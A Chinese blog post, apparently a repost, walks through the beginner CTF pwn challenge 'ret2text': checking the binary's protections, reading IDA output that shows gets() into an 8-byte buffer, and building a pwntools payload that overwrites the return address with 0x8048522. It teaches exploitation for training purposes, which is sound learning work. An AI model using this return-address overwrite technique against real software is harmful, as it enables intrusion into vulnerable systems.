博客
关于我
pwn之栈缓冲区溢出漏洞(入门)
阅读量:519 次
发布时间:2019-03-06

本文共 1460 字,大约阅读时间需要 4 分钟。

题目ret2text

题目信息确认

使用file命令查看文件类型

root@CTF:/home/# file ret2text  ret2text: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=64894e1bcdc9d77d3d983e907eba2605dbf19103, with debug_info, not stripped

使用checksec查看是否有保护

root@CTF:/home/# checksec ret2text [*] '/home/ret2text'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)

使用ida查看内容

int __cdecl main(int argc, const char **argv, const char **envp){  setbuf(stdin, 0);  setbuf(stdout, 0);  puts("Have you heard of buffer overflow?");  vulnerable();  puts("It seems that you know nothing about it ......");  return 0;}

setbuf(xxxx,0) 关闭缓冲区

进入vulnerable()查看

int vulnerable(){  char buffer[8]; // [esp+8h] [ebp-10h]  gets(buffer);  return 0;}

创建了一个8个字节的缓存,但是gets函数允许向buffer输入无限的内容。造成缓冲区溢出漏洞

根据图
由ida中的注释 char buffer[8]; // [esp+8h] [ebp-10h] 可以知道 这个buffer距离esp8个字符,距离ebp -16个字符(10h是16进制的10)
而ebp永远指向 stack frame pointer 。那么就需要溢出16个字节

动态调试

使用动态调试工具确认溢出长度

gdb xxx 进入调试魔术xxx是指需要动态调试的文件
run 直接运行(一般在run之前使用断点)
b *地址 或者 b main
使用 next 进行断点前进。可以观察一步步的运行结果
使用 s 进入某个具体的函数
或者使用 stack 24 查看24项stack

payload制作

使用 from pwn import * 导入所有pwn需要的工具

使用 io=process("./ret2text") 打开进程访问链接
覆盖数据
[ebp-10h] 一共16个字符。
覆盖 return 4个字符
修改返回地址使用p32(0x8048522)
组成数据 payload=b'a'16+b'1'4+p32(0x8048522)
使用 io.send(payload) 发送payload
使用 io.interactive 创建交互式会话接口

转载地址:http://hnsyz.baihongyu.com/

你可能感兴趣的文章
MYSQL 查看最大连接数和修改最大连接数
查看>>
MySQL 查看有哪些表
查看>>
mysql 查看锁_阿里/美团/字节面试官必问的Mysql锁机制,你真的明白吗
查看>>
MySql 查询以逗号分隔的字符串的方法(正则)
查看>>
MySQL 查询优化:提速查询效率的13大秘籍(避免使用SELECT 、分页查询的优化、合理使用连接、子查询的优化)(上)
查看>>
mysql 查询数据库所有表的字段信息
查看>>
【Java基础】什么是面向对象?
查看>>
mysql 查询,正数降序排序,负数升序排序
查看>>
MySQL 树形结构 根据指定节点 获取其下属的所有子节点(包含路径上的枝干节点和叶子节点)...
查看>>
mysql 死锁 Deadlock found when trying to get lock; try restarting transaction
查看>>
mysql 死锁(先delete 后insert)日志分析
查看>>
MySQL 死锁了,怎么办?
查看>>
MySQL 深度分页性能急剧下降,该如何优化?
查看>>
MySQL 深度分页性能急剧下降,该如何优化?
查看>>
MySQL 添加列,修改列,删除列
查看>>
mysql 添加索引
查看>>
MySQL 添加索引,删除索引及其用法
查看>>
mysql 状态检查,备份,修复
查看>>
MySQL 用 limit 为什么会影响性能?
查看>>
MySQL 用 limit 为什么会影响性能?有什么优化方案?
查看>>